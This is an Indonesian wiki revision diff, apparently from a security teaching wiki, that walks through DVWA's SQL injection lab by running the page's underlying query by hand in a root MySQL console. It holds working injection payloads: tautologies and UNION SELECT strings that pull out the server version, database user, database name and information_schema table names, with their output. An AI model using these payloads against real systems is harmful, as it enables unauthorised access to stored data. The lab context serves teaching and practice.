Difference between revisions of "DVWA: perintah SQL di server DVWA"
Onnowpurbo (talk | contribs) |
Onnowpurbo (talk | contribs) |
||
Line 37: | Line 37: | ||
Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah | Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah | ||
− | SELECT first_name, last_name FROM users WHERE user_ID = '$id' | + | SELECT first_name, last_name FROM users WHERE user_ID = '$id'; |
Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main | Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main | ||
dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main | dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main | ||
dengan MySQL secara manual tanpa melakukan injection. | dengan MySQL secara manual tanpa melakukan injection. | ||
+ | |||
+ | Masukan perintah | ||
+ | |||
+ | SELECT first_name, last_name FROM users WHERE user_ID = '1'; | ||
+ | |||
+ | Keluar | ||
+ | |||
+ | +------------+-----------+ | ||
+ | | first_name | last_name | | ||
+ | +------------+-----------+ | ||
+ | | admin | admin | | ||
+ | +------------+-----------+ | ||
+ | 1 row in set (0,00 sec) | ||
+ | |||
+ | |||
+ | Masukan perintah | ||
+ | |||
+ | SELECT first_name, last_name FROM users WHERE user_ID = '2'; | ||
+ | |||
+ | Keluar | ||
+ | |||
+ | +------------+-----------+ | ||
+ | | first_name | last_name | | ||
+ | +------------+-----------+ | ||
+ | | Gordon | Brown | | ||
+ | +------------+-----------+ | ||
+ | 1 row in set (0,00 sec) | ||
+ | |||
+ | |||
+ | Masukan perintah, untuk mencek apakah bisa di inject perintah lain | ||
+ | |||
+ | SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0'; | ||
+ | |||
+ | Keluar | ||
+ | |||
+ | +------------+-----------+ | ||
+ | | first_name | last_name | | ||
+ | +------------+-----------+ | ||
+ | | admin | admin | | ||
+ | | Gordon | Brown | | ||
+ | | Hack | Me | | ||
+ | | Pablo | Picasso | | ||
+ | | Bob | Smith | | ||
+ | +------------+-----------+ | ||
+ | 5 rows in set (0,00 sec) | ||
+ | |||
+ | |||
+ | Masukan perintah, untuk mencek apakah bisa di inject perintah lain | ||
+ | |||
+ | SELECT first_name, last_name FROM users WHERE user_ID = '1' or '2'='2'; | ||
+ | |||
+ | Keluar | ||
+ | |||
+ | +------------+-----------+ | ||
+ | | first_name | last_name | | ||
+ | +------------+-----------+ | ||
+ | | admin | admin | | ||
+ | | Gordon | Brown | | ||
+ | | Hack | Me | | ||
+ | | Pablo | Picasso | | ||
+ | | Bob | Smith | | ||
+ | +------------+-----------+ | ||
+ | 5 rows in set (0,01 sec) | ||
+ | |||
+ | |||
+ | Masukan perintah | ||
+ | |||
+ | SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #; | ||
+ | |||
+ | Keluar | ||
+ | |||
+ | +------------+-------------------------+ | ||
+ | | first_name | last_name | | ||
+ | +------------+-------------------------+ | ||
+ | | admin | admin | | ||
+ | | Gordon | Brown | | ||
+ | | Hack | Me | | ||
+ | | Pablo | Picasso | | ||
+ | | Bob | Smith | | ||
+ | | NULL | 5.7.17-0ubuntu0.16.04.1 | | ||
+ | +------------+-------------------------+ | ||
+ | 6 rows in set (0,00 sec) | ||
+ | |||
+ | Akan keluar versi MySQL yang digunakan adalah 5.7.17-0ubuntu0.16.04.1 | ||
+ | |||
+ | |||
+ | Masukan perintah, | ||
+ | |||
+ | SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, user() #'; | ||
+ | |||
+ | Keluar | ||
+ | |||
+ | +------------+----------------+ | ||
+ | | first_name | last_name | | ||
+ | +------------+----------------+ | ||
+ | | admin | admin | | ||
+ | | Gordon | Brown | | ||
+ | | Hack | Me | | ||
+ | | Pablo | Picasso | | ||
+ | | Bob | Smith | | ||
+ | | NULL | root@localhost | | ||
+ | +------------+----------------+ | ||
+ | 6 rows in set (0,00 sec) | ||
+ | |||
+ | akan keluar user yang digunakan untuk mengakses database, yaitu root@localhost | ||
+ | |||
+ | |||
+ | Masukan perintah | ||
+ | |||
+ | SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, database() #'; | ||
+ | |||
+ | Keluar | ||
+ | |||
+ | +------------+-----------+ | ||
+ | | first_name | last_name | | ||
+ | +------------+-----------+ | ||
+ | | admin | admin | | ||
+ | | Gordon | Brown | | ||
+ | | Hack | Me | | ||
+ | | Pablo | Picasso | | ||
+ | | Bob | Smith | | ||
+ | | NULL | dvwa | | ||
+ | +------------+-----------+ | ||
+ | 6 rows in set (0,00 sec) | ||
+ | |||
+ | akan keluar nama database yang digunakan, yaitu dvwa | ||
+ | |||
+ | |||
+ | Masukan perintah | ||
+ | |||
+ | SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables #'; | ||
+ | |||
+ | Keluar | ||
+ | |||
+ | +------------+------------------------------------------------------+ | ||
+ | | first_name | last_name | | ||
+ | +------------+------------------------------------------------------+ | ||
+ | | NULL | CHARACTER_SETS | | ||
+ | | NULL | COLLATIONS | | ||
+ | | NULL | COLLATION_CHARACTER_SET_APPLICABILITY | | ||
+ | | NULL | COLUMNS | | ||
+ | .. | ||
+ | .. | ||
+ | .. | ||
+ | | NULL | x$wait_classes_global_by_avg_latency | | ||
+ | | NULL | x$wait_classes_global_by_latency | | ||
+ | | NULL | x$waits_by_host_by_latency | | ||
+ | | NULL | x$waits_by_user_by_latency | | ||
+ | | NULL | x$waits_global_by_latency | | ||
+ | +------------+------------------------------------------------------+ | ||
+ | 275 rows in set (0,01 sec) | ||
+ | |||
+ | Dimana | ||
+ | |||
+ | * CHARACTER_SETS | ||
+ | * COLLATIONS | ||
+ | * COLLATION_CHARACTER_SET_APPLICABILITY | ||
+ | |||
+ | adalah INFORMATION SCHEMA table name. | ||
+ | INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi | ||
+ | tentang database yang di maintain oleh MySQL. |
Revision as of 17:36, 11 March 2017
Pada saat kita berlatih SQL Injection menggunakan DVWA, akan lebih mudah untuk mengerti jika kita mengerti perintah SQL yang di berikan. Langkah untuk mempelajari ini tidak terlalu sulit
- Login ke mesin server yang kita instalasi DVWA
- menjadi super user, menggunakan perintah
sudo su
- Masuk ke database MySQL, jika password root mysql adalah 123456, maka kita dapat menggunakan perintah
mysql -u root -p123456
Jika berhasil dengan baik maka akan keluar
mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 4 Server version: 5.7.17-0ubuntu0.16.04.1 (Ubuntu) Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql>
- Untuk berlatih kita perlu menggunakan database dvwa, ketik perintah
use dvwa
Kita sudah siap untuk belajar / memlihat apa yang terjadi jika kita latihan SQL Injection. Perintah yang diberikan di menu SQL Injection DVWA sebetulnya adalah
SELECT first_name, last_name FROM users WHERE user_ID = '$id';
Dimana '$id' adalah input parameter yang diberikan oleh user. Kita bisa bermain-main dengan ini di console mysql. Setelah kita 'use dvwa' maka kita bisa bermain-main dengan MySQL secara manual tanpa melakukan injection.
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_ID = '1';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | +------------+-----------+ 1 row in set (0,00 sec)
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_ID = '2';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | Gordon | Brown | +------------+-----------+ 1 row in set (0,00 sec)
Masukan perintah, untuk mencek apakah bisa di inject perintah lain
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | +------------+-----------+ 5 rows in set (0,00 sec)
Masukan perintah, untuk mencek apakah bisa di inject perintah lain
SELECT first_name, last_name FROM users WHERE user_ID = '1' or '2'='2';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | +------------+-----------+ 5 rows in set (0,01 sec)
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #;
Keluar
+------------+-------------------------+ | first_name | last_name | +------------+-------------------------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | NULL | 5.7.17-0ubuntu0.16.04.1 | +------------+-------------------------+ 6 rows in set (0,00 sec)
Akan keluar versi MySQL yang digunakan adalah 5.7.17-0ubuntu0.16.04.1
Masukan perintah,
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, user() #';
Keluar
+------------+----------------+ | first_name | last_name | +------------+----------------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | NULL | root@localhost | +------------+----------------+ 6 rows in set (0,00 sec)
akan keluar user yang digunakan untuk mengakses database, yaitu root@localhost
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, database() #';
Keluar
+------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | NULL | dvwa | +------------+-----------+ 6 rows in set (0,00 sec)
akan keluar nama database yang digunakan, yaitu dvwa
Masukan perintah
SELECT first_name, last_name FROM users WHERE user_id = '%' and 1=0 union select null, table_name from information_schema.tables #';
Keluar
+------------+------------------------------------------------------+ | first_name | last_name | +------------+------------------------------------------------------+ | NULL | CHARACTER_SETS | | NULL | COLLATIONS | | NULL | COLLATION_CHARACTER_SET_APPLICABILITY | | NULL | COLUMNS | .. .. .. | NULL | x$wait_classes_global_by_avg_latency | | NULL | x$wait_classes_global_by_latency | | NULL | x$waits_by_host_by_latency | | NULL | x$waits_by_user_by_latency | | NULL | x$waits_global_by_latency | +------------+------------------------------------------------------+ 275 rows in set (0,01 sec)
Dimana
- CHARACTER_SETS
- COLLATIONS
- COLLATION_CHARACTER_SET_APPLICABILITY
adalah INFORMATION SCHEMA table name. INFORMATION_SCHEMA adalah database informasi, yang menyimpan semua informasi tentang database yang di maintain oleh MySQL.